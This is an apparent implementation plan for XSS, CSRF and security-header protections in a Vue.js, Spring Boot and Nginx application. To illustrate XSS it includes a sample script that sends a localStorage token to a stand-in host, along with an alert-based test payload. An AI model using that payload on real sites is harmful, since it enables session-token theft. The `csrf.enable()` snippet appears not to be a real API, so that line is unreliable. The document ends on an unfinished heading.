BGRS Browser Security Controls Implementation Plan

```
==================================================
1. OBJECTIVE
==================================================

Implement Browser Security Controls in the BGRS application to satisfy the following security requirements:

1. Protection against Cross Site Scripting (XSS)
2. Protection against Cross Site Request Forgery (CSRF)
3. Secure HTTP Headers Implementation

Technology Stack:
- Frontend: Vue.js
- Backend: Spring Boot
- Deployment: Docker + Nginx

==================================================
2. SECURITY ARCHITECTURE
==================================================

User Browser
     ↓
HTTPS Secure Connection
     ↓
Nginx Security Headers
     ↓
Spring Security Protection
     ↓
Vue.js Frontend Validation
     ↓
Spring Boot Backend Validation

Security Goals:
- Prevent malicious script execution
- Prevent unauthorized request execution
- Protect browser communication
- Secure user sessions and application data

==================================================
3. REQUIREMENT 1:
PROTECTION AGAINST CROSS SITE SCRIPTING (XSS)
==================================================

What is XSS?

Cross Site Scripting (XSS) is an attack where attackers inject malicious JavaScript into the application.

Example Attack:

<script>
fetch('https://hack.com?token=' + localStorage.getItem('token'))
</script>

Risks:
- Token theft
- Session hijacking
- User impersonation
- Data theft

==================================================
XSS IMPLEMENTATION PLAN
==================================================

STEP 1:
Never use raw HTML rendering.

Vue.js:

■ Avoid:
v-html

■ Use:
v-text
{{ variable }}
STEP 2:
```

Sanitize all user inputs before rendering.

Recommended Library:
DOMPurify

Install:

```
npm install dompurify
```

Example:

```
import DOMPurify from 'dompurify';

const cleanData = DOMPurify.sanitize(userInput);
```

STEP 3:
Validate inputs in backend.

Spring Boot DTO Validation:

```
@NotBlank
@Size(max = 100)
private String name;
```

STEP 4:
Prevent script tags and dangerous content.

Reject:
- <script>
- javascript:
- iframe injections

STEP 5:
Enable Content Security Policy (CSP).

Nginx Header:

```
add_header Content-Security-Policy "default-src 'self'";
```

==========
4. REQUIREMENT 2:
PROTECTION AGAINST CSRF
==========

What is CSRF?

Cross Site Request Forgery forces authenticated users to perform unwanted actions.

Example:
Attacker tricks logged-in user into submitting malicious request.

Risks:
- Unauthorized transactions
- Data modification
- Privilege misuse

==========
CSRF IMPLEMENTATION PLAN
==========

STEP 1:
Use SameSite cookies.

Spring Boot:

```
.sameSite("Strict")
```

STEP 2:
Enable CSRF protection if cookies/session authentication is used.

SecurityConfig.java:

```
http.csrf(csrf -> csrf.enable());
```

STEP 3:
Use CSRF tokens for forms and sensitive operations.

STEP 4:
Allow only trusted frontend origins.

CORS Configuration:

```
configuration.setAllowedOrigins(
    List.of("https://localhost")
);
```

STEP 5:
Block cross-origin credential requests.

STEP 6:
Use HTTPS-only secure cookies.

==========
5. REQUIREMENT 3:
SECURE HTTP HEADERS IMPLEMENTATION
==========

Purpose:
Protect browser communication and block browser-based attacks.

==========
HTTP SECURITY HEADERS IMPLEMENTATION PLAN
==========

STEP 1:
Add security headers in Nginx.

Example:

```
add_header X-Frame-Options DENY;
add_header X-Content-Type-Options nosniff;
add_header Referrer-Policy no-referrer;
add_header Permissions-Policy "camera=(), microphone=()";
```

STEP 2:
Enable HSTS Header.

```
add_header Strict-Transport-Security "max-age=31536000" always;
```

Purpose:
Force browser to use HTTPS only.

STEP 3:
Enable Content Security Policy.

```
add_header Content-Security-Policy "default-src 'self'";
```

STEP 4:
Disable browser MIME sniffing.

```
add_header X-Content-Type-Options nosniff;
```

STEP 5:
Prevent clickjacking attacks.

```
add_header X-Frame-Options DENY;
```

==========
6. SPRING SECURITY IMPLEMENTATION
==========

SecurityConfig.java

```
http
    .headers(headers -> headers
        .frameOptions(frame -> frame.deny())
        .contentTypeOptions(contentType -> {})
    );
```

==========
7. NGINX SECURITY CONFIGURATION
==========

```
server {

    listen 443 ssl;

    add_header Strict-Transport-Security "max-age=31536000" always;
    add_header X-Frame-Options DENY;
```

```
    add_header X-Content-Type-Options nosniff;

    add_header Referrer-Policy no-referrer;

    add_header Content-Security-Policy "default-src 'self'";
}

==================================================
8. TEST CASES
==================================================

Test 1:
Inject <script>alert('XSS')</script>

Expected:
Script not executed.

--------------------------------------

Test 2:
Cross-origin POST request.

Expected:
Request blocked.

--------------------------------------

Test 3:
Open application using HTTP.

Expected:
Redirect to HTTPS.

--------------------------------------

Test 4:
Iframe embedding attempt.

Expected:
Blocked.

==================================================
9. AUDIT & MONITORING
==================================================

Log:
- blocked requests
- invalid origins
- suspicious payloads
- CSP violations
- unauthorized requests

Recommended Fields:
- userId
- timestamp
- IP address
- request path
- action

==================================================
10. SECURITY BENEFITS
==================================================

- Prevents XSS attacks
- Prevents CSRF attacks
- Protects JWT/session tokens
- Prevents browser exploitation
- Prevents clickjacking
- Improves compliance
- Protects sensitive banking data

==================================================
11. FINAL RESULT
==================================================

Implemented Features:
- XSS protection
- CSRF protection
- Secure HTTP headers
```

- CSP implementation
- Secure browser communication
- HTTPS-only secure access

Final Secure Flow: